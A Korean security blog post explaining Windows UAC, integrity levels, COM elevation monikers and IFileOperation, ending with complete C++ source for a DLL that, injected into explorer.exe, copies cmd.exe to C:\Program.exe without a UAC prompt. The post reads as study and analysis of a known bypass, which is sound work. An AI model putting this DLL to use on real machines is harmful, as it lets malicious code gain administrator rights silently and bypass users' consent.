0. 서론
SSL 2기에서 분석한 권한 상승 취약점에서 Windows UAC Bypass를 통한 공격 시나리오를 작성한 자료를 봤는데 처음 보는 방법이려서 공부 겸 글로 남깁니다. 다양한 UAC 우회 기법이 있지만, 그 중 explorer.exe에 DLL Injection하여 UAC를 우회하는 방법에 초점을 맞췄습니다. (다른 UAC 우회 기법 관련 글)
1. UAC란?
UAC는 User Access Control로 사용자 계정 컨트롤이라 불립니다. 해당 기술은 Microsoft Windows Vista 운영체제에서 처음 선보인 보안 기술입니다. 관리자가 권한 수준을 높이는 것을 허용할 때까지 응용 프로그램들은 표준 사용자 권한으로 제한하여 운영체제의 보안을 개선하는데 중점을 두었습니다.
사용자 계정 컨트롤은 권한이 없는 프로그램이나 악성코드가 바로 실행되지 않도록 위와 같은 실행 여부를 묻는 기능입니다. 이를 통해 권한이 없는 프로그램의 자동 설치를 방지하고 주요 시스템 설정을 실수로 변경하지 않도록 방지할 수 있습니다.
2. 윈도우 권환
사용자가 처음 컴퓨터를 실행하고 계정을 생성하면 해당 계정은 관리자 그룹(Administrators)에 속하게 됩니다. 동시에 표준 사용자 그룹(Users)에도 속합니다. 하지만 일반 사용자 계정을 만든다면 Users에만 속한 계정을 생성합니다.
윈도우는 사용자가 로그인하면 해당 계정의 권한에 맞는 보안 토큰을 발급합니다. 표준 사용자(Standard Users)는 Integrity level이 Medium, 관리자(Administrators)는 High가 할당됩니다. Integrity 메커니즘은 커널의 SRM에 기반한 보안 아키텍처로 보안 접근 토큰에 존재하는 SID를 객체의 보안 디스크립터의 접근 권한과 비교해서 접근 제어를 강제합니다. 만약 관리자 그룹과 표준 사용자 그룹 둘 다 속한 사용자가 로그인하면 Medium Integrity Level과 High Integrity Level 2개의 접근 토큰을 받습니다.
현재 로그인한 계정이 표준 사용자 또는 관리자여도 응용 프로그램을 실행할 때는 Medium Integrity Level의 접근 토큰을 통해 실행합니다. 윈도우 애플리케이션을 실행할 때, explorer.exe의 자식 프로세스로 실행되는데 explorer.exe가 Medium 레벨을 가지고 실행 중이기 때문입니다. 그렇기 때문에, 관리자 계정으로 로그인해 관리자 권한으로 실행해도 UAC 알람창이 뜨는 것을 확인할 수 있습니다. 다만, 단순히 Medium Integiryt Level의 토큰만 가지고 있다면 관리자 암호를 입력하는 UAC가 뜨지만 Administrators 그룹에 속해있다면 확인 버튼만 누르는 UAC가 뜹니다.
3. UAC 우회
일반적으로 악성코드에서 UAC bypass를 많이 사용합니다. 관리자 권한이 없다면 레지스트리 수정이나 서비스 및 드라이버 설치, 시스템 디렉터리 수정, 방화벽 설정 변경 등 악성코드에서 수행할 수 있는 행위가 제한되기 때문에 UAC 우회를 통해 관리자 권한을 획득하는 것을 볼 수 있습니다. 때문에 UAC 우회의 전제 조건은 사용자가 관리자 계정, 즉 Administrators 그룹에 속한 사용자여야 합니다. 또한, 대부분 UAC의 default 옵션인 "Notify me only when programs try to make changes to my computer" 선택한 경우에만 적용됩니다.
UAC를 우회할 수 있는 방법은 여러가지가 존재합니다.
- WUSA(Windows Update Standalone Installer)를 통한 UAC Bypass
- IFileOperation을 통한 UAC Bypass
- etc
이 글에서는 IFileOperation 방식을 설명하려 합니다. 위에서 설명한 것 처럼 explorer.exe는 Medium Integrity Level을 가지고 있기 때문에 DLL Injection이 가능합니다. Injection되는 DLL에서는 IFileOperation이라는 COM 인터페이스를 이용하는데 여기에는 파일을 복사하고 삭제하는 메소드가 들어있습니다. 이를 통해 보호된 디렉터리에 원하는 파일을 생성하거나 복사, 삭제할 수 있습니다.
3-1. COM이란?
COM은 Componenet Object Model로 다양한 언어로 만들어진 소프트웨어 컴포넌트들이 자신의 기능을 다른 소프트웨어와 공유하고 통합될 수 있도록 하는 바이너리 레벨의 인터페이스 표준입니다. 소프트웨어의 컴포넌트들이 서로 기능을 공유하고 통합되기 위해서는 컴포넌트가 COM 표준을 잘 따르는 것도 중요하지만, 이를 중재하는 운영체제의 역할로 매우 중요합니다. 이를 위해 운영체제에서 제공하는 기능을 통틀어 COM 라이브러리라고 합니다.
COM Interface는 C++의 가상함수 테이블이 컴파일 되었을 때 만들어지는 바이너리 코드와 모양이 같습니다. 즉, 인터페이스를 가상 함수 테이블이라고 생각할 수 있습니다. 인터페이스는 서로 다른 소프트웨어 컴포넌트가 기능을 공유할 수 있도록 해주는 연결 고리로 Client와 Server가 규약을 정한 것입니다. 모든 COM 인터페이스는 IUnKnown 인터페이스로부터 상속됩니다. 인터페이스는 AddRef(), Release(), QueryInterface() 3개의 메서드로 이루어집니다. COM 서버는 인터페이스를 통해 다른 소프트웨어에게 기능을 제공하는 프로그램, COM 클라이언트는 COM 서버가 제공하는 기능을 이용하는 프로그램입니다.
COM 클라이언트는 다음과 같이 동작합니다.
- CoGetClassObject 등의 함수를 호출하여 COM Object 생성
- QueryInterface 메소드를 호출하여 인터페이스 포인터 저장
- 필요한 메소드 호출 및 COM 서버가 제공하는 기능 사용
- 사용 완료 후, COM Object가 메모리에서 해제될 수 있도록 Release 메소드 호출
COM 클라이언트는 COM Object를 생성하기 위해 CLSID를 매개변수로 넘기고, 그에 해당하는 CoClass는 DLL이나 EXE의 파일명과 연결되어 있습니다.
3-2. COM 권한 상승 모니커
모니커(Moniker)는 별명을 뜻하는 단어이지만 윈도우에서는 다른 객체를 지칭하는데 사용됩니다. 모니커 자체도 객체이며 자신이 가리키는 객체에 대한 포인터를 제공해주는 역할을 담당합니다. 모니커를 만들어 다른 객체를 가리키도록 하고 그것에 접근하기 위해 그 객체에 대한 포인터를 얻어내는 절차를 바인딩(Binding)이라 합니다.
COM을 이용한 권한 상승 모니커는 사용자 계정 권한 제한(Limited User Account, LUA) 하에서 동작해야하는 응용 프로그램이 권한 상승할 수 있도록 COM 클래스의 활성화 작업을 수행하는 것입니다. 다시 말해, 권한 상승 모니커(Elevation moniker)는 권한이 제한된 상태로 실행 중인 COM 클래스가 시스템을 설정하는 것과 같이 높은 권한을 필요로 하는 경우 해당 권한을 활성화하는 것입니다.
권한 상승 모니커는 Administrators(관리자)와 Highest(가장 높은 권한) 실행 레벨 토큰을 지원합니다. 이를 위한 구문은 다음과 같습니다.
Elevation:Administrator!new:{guid}
Elevation:Highest!new:{guid}
위의 구문은 new 모니커를 사용하여 guid로 지정된 COM 클래스의 인스턴스를 반환합니다. new 모니커는 내부적으로 IClassFactory 인터페이스를 사용하여 클래스 개체를 가져온 다음 IClassFactory:: CreateInstance를 호출합니다.
다음 예제 코드는 권한 상승 모니커를 사용하는 방법을 보여줍니다. 현재 스레드에서 이미 COM을 초기화했다고 가정합니다.
HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID riid, __out void ** ppv)
{
BIND_OPTS3 bo;
WCHAR wszCLSID[50];
WCHAR wszMonikerName[300];
StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID)/sizeof(wszCLSID[0]));
HRESULT hr = StringCchPrintf(wszMonikerName, sizeof(wszMonikerName)/sizeof(wszMonikerName[0]), L"Elevation:Administrator!new:%s", wszCLSID);
if (FAILED(hr))
return hr;
memset(&bo, 0, sizeof(bo));
bo.cbStruct = sizeof(bo);
bo.hwnd = hwnd;
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
return CoGetObject(wszMonikerName, &bo, riid, ppv);
}
BIND_OPTS3는 Windows Vista에서 새롭게 등장한 사항입니다. 이 부분은 BIND_OPTS2에서 상속받은 구조체입니다. 변화된 것은 hwnd 필드입니다. 이 핸들은 대부분의 경우 권한 상승 UI의 부모가 될 윈도우를 나타내게 됩니다.
3-3. IFileOperation
IFileOperation은 셸 항목을 복사, 이동, 이름 바꾸기, 생성 및 삭제하는 방법과 진행률 및 오류 대화 상자를 제공하는 방법에 대한 인터페이스입니다. 이 인터페이스는 SHFileOperation 기능을 대체합니다. IFileOperation의 여러 메서드 중, IFileOperation::CopyItem에 대해 살펴보겠습니다.
IFileOperation::CopyItem은 지정된 대상에 복사할 단일 항목을 선언하는 메서드입니다. 구조는 다음과 같습니다.
HRESULT CopyItem(
IShellItem *psiItem, //Source 지정
IShellItem *psiDestinationFolder, //Destination 지정
LPCWSTR pszCopyName, //복사본에 대한 이름 지정
IFileOperationProgressSink *pfopsItem //진행 상태 및 오류 알람에 대한 포인터
);
이 메서드를 사용할 때 유의할 점은 CopyItem이 직접 복사하는 메서드가 아니고 단지 복사할 항목을 선언한다는 것입니다. 개체를 복사하려면 IFileOperation::PerformOperations를 호출하여 복사 작업을 시작합니다. 다음은 IFileOperation::CopyItem메서드의 구현 예시입니다.
HRESULT CopyItem(__in PCWSTR pszSrcItem, __in PCWSTR pszDest, PCWSTR pszNewName)
{
//
// Initialize COM as STA.
//
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
if (SUCCEEDED(hr))
{
IFileOperation *pfo;
//
// Create the IFileOperation interface
//
hr = CoCreateInstance(CLSID_FileOperation,
NULL,
CLSCTX_ALL,
IID_PPV_ARGS(&pfo));
if (SUCCEEDED(hr))
{
//
// Set the operation flags. Turn off all UI from being shown to the
// user during the operation. This includes error, confirmation,
// and progress dialogs.
//
hr = pfo->SetOperationFlags(FOF_NO_UI);
if (SUCCEEDED(hr))
{
//
// Create an IShellItem from the supplied source path.
//
IShellItem *psiFrom = NULL;
hr = SHCreateItemFromParsingName(pszSrcItem,
NULL,
IID_PPV_ARGS(&psiFrom));
if (SUCCEEDED(hr))
{
IShellItem *psiTo = NULL;
if (NULL != pszDest)
{
//
// Create an IShellItem from the supplied
// destination path.
//
hr = SHCreateItemFromParsingName(pszDest,
NULL,
IID_PPV_ARGS(&psiTo));
}
if (SUCCEEDED(hr))
{
//
// Add the operation
//
hr = pfo->CopyItem(psiFrom, psiTo, pszNewName, NULL);
if (NULL != psiTo)
{
psiTo->Release();
}
}
psiFrom->Release();
}
if (SUCCEEDED(hr))
{
//
// Perform the operation to copy the file.
//
hr = pfo->PerformOperations();
}
}
//
// Release the IFileOperation interface.
//
pfo->Release();
}
CoUninitialize();
}
return hr;
}
위의 예제 코드 흐름은 다음과 같이 진행됩니다.
- CoInitializeEx를 통해 COM 라이브러리를 초기화합니다.
- CoCreateInstance를 통해 IFileOperation 인터페이스를 생성합니다.
- SetOperationFlags를 통해 인자로 넘긴 operation flag로 설정합니다. FOF_NO_UI는 에러, 확인, 진행 메세지 등 사용자에게 표시되는 모든 UI를 끄는 flag입니다.
- SHCreateItemFromParsingName로 인자로 넘어온 Source와 Destination 경로의 IShellItem을 생성합니다.
- pfo->CopyItem으로 operation을 추가합니다.
- Release() 메서드를 호출해서 COM 객체의 메모리를 해제할 수 있도록 합니다.
- pfo->PerformOperations를 통해 추가한 operation(복사작업)을 진행합니다.
- CoUninitialize를 통해 현재 스레드에서 COM 라이브러리를 종료합니다.
3-4. DLL Injection to Explorer.exe
지금까지의 내용을 간단하게 정리하면 다음과 같습니다.
- explorer.exe에 DLL Injection하여 UAC를 우회할 수 있습니다.
- COM은 인터페이스로 권한 상승 모니커를 통해 관리자 권한으로 COM 클래스 개체를 가져올 수 있습니다.
- IFileOperation은 파일과 관련된 COM 인터페이스로 CopyItem과 같은 메서드를 구현할 수 있습니다.
이제는 UAC를 우회하기 위해 explorer.exe에 DLL Injection 할 때, DLL을 만들어보겠습니다. DLL은 explorer.exe에서 COM 권한 상승 모니커를 통해 COM 클래스 개체를 가져오고, IFileOperation::CopyItem을 구현해서 원하는 동작을 수행하지만 UAC를 우회할 수 있게 합니다. COM Object는 MS 서명이 되어있는 프로세스에서 사용되는 경우 auto-elevated되기 때문에 UAC 없이 관리자 권한을 가질 수 있습니다. 구체적으로 IFileOperation 객체는 만약 explorer.exe 같이 MS 서명이 되어있는 프로세스에서 사용되는 경우 auto elevated되어 실행되기 때문에 UAC 없이 관리자 권한으로 시스템 디렉터리에서 원하는 파일 관련 동작을 수행할 수 있습니다. (위에서 설명했듯이 explorer.exe는 Medium integrity level을 가지고 있기 때문에 DLL Injection이 가능합니다.)
해당 글에서 만드는 DLL의 목표는 C:\\ 디렉터리에 UAC 없이 파일을 생성하는 것입니다. 구현은 위의 COM과 IFileOperation을 이해했다면 간단히 구현할 수 있습니다. 위에서 구현한 IFileOperation::CopyItem 샘플 코드에서는 IFileOperation 인터페이스를 생성할 때, CoCreateInstance를 이용해서 FileOperation 인터페이스 객체를 가져왔습니다. 이 부분을 COM 권한 상승 모니커에서 이용한 코드로 수정하면 됩니다.
COM 권한 상승 모니커에서는 COM을 가져올 때, Elevation:Administrator!new:{guid}라는 토큰을 CoGetObject에 인자로 넣어서 관리자 권한으로 COM 클래스를 활성화시켰습니다. 위에서 CoCreateInstance로 가져오지 말고, 관리자 토큰을 넣어 CoGetObject로 해당 모니커로 식별되는 개체제 바인딩하면, UAC를 우회하여 파일관련 작업을 할 수 있는 것입니다. 다음은 이를 구현한 DLL 소스코드입니다.
#include "pch.h"
#include <string>
#include <tchar.h>
HRESULT CopyItem(__in PCWSTR pszSrcItem, __in PCWSTR pszDest, PCWSTR pszNewName)
{
//
// Initialize COM as STA.
//
BIND_OPTS3 opts;
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
if (SUCCEEDED(hr))
{
IFileOperation* pfo;
memset(&opts, 0, sizeof(BIND_OPTS3));
opts.cbStruct = sizeof(BIND_OPTS3);
opts.hwnd = 0;
opts.dwClassContext = CLSCTX_LOCAL_SERVER;
//
// Create the IFileOperation interface
//
hr = CoGetObject(L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}",
&opts, IID_IFileOperation, (void**)&pfo);
//COM 권한 상승 모니커 이용
IID_PPV_ARGS(&pfo);
if (SUCCEEDED(hr))
{
//
// Set the operation flags. Turn off all UI from being shown to the
// user during the operation. This includes error, confirmation,
// and progress dialogs.
//
hr = pfo->SetOperationFlags(FOF_NO_UI);
if (SUCCEEDED(hr))
{
//
// Create an IShellItem from the supplied source path.
//
IShellItem* psiFrom = NULL;
hr = SHCreateItemFromParsingName(pszSrcItem,
NULL,
IID_PPV_ARGS(&psiFrom));
if (SUCCEEDED(hr))
{
IShellItem* psiTo = NULL;
if (NULL != pszDest)
{
//
// Create an IShellItem from the supplied
// destination path.
//
hr = SHCreateItemFromParsingName(pszDest,
NULL,
IID_PPV_ARGS(&psiTo));
}
if (SUCCEEDED(hr))
{
//
// Add the operation
//
hr = pfo->CopyItem(psiFrom, psiTo, pszNewName, NULL);
if (NULL != psiTo)
{
psiTo->Release();
}
}
psiFrom->Release();
}
if (SUCCEEDED(hr))
{
//
// Perform the operation to copy the file.
//
hr = pfo->PerformOperations();
}
}
//
// Release the IFileOperation interface.
//
pfo->Release();
}
CoUninitialize();
}
return hr;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
TCHAR tmpDir[MAX_PATH];
TCHAR windowsDir[MAX_PATH];
std::wstring filename;
HANDLE hFile;
::GetTempPath(MAX_PATH, tmpDir);
//Temp 경로 저장
_tcscat_s(tmpDir, TEXT("Program.exe")); //Temp 경로에 Program.exe 연결
CopyFile(TEXT("C:\\\\Windows\\\\System32\\\\cmd.exe"), tmpDir, NULL);
//cmd.exe를 Tmp경로에 Program.exe로 복사
CopyItem(tmpDir, TEXT("C:\\\\"), NULL);
//Windows UAC bypass로 C:\\Program.exe 생성
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
COM 권한 상승 모니커를 이용하는 부분에서 {3ad05575-8857-4850-9277-11b85bdb8e09} 는 FileOperation CLSID 입니다. COM 권한 상승 모니커를 이용하여 관리자 권한을 활성화해서 CopyItem 할 때, UAC 알람창 없이 C:\\Program.exe 파일을 생성하는 코드입니다. DLL을 Injection하는 코드는 x64dbg의 ScyllaHide에 DLL Injection 코드를 참고하여 작성하였습니다. explorer.exe에 해당 DLL을 인젝션하면 UAC를 우회하여 파일을 복사할 수 있음을 확인할 수 있습니다.
참고문헌
'Security' 카테고리의 다른 글
TP-LINK 1day to 0day 분석글 번역 (CVE-2022-30024) (0) | 2022.08.30 |
---|---|
Apport Exploit Analysis (0) | 2022.02.26 |
hackingzone X-MAS CTB 후기 (0) | 2022.01.08 |
3D Accelerated Exploitation 분석 (0) | 2022.01.03 |
CVE-2019-1436 1-day 분석 (0) | 2021.12.23 |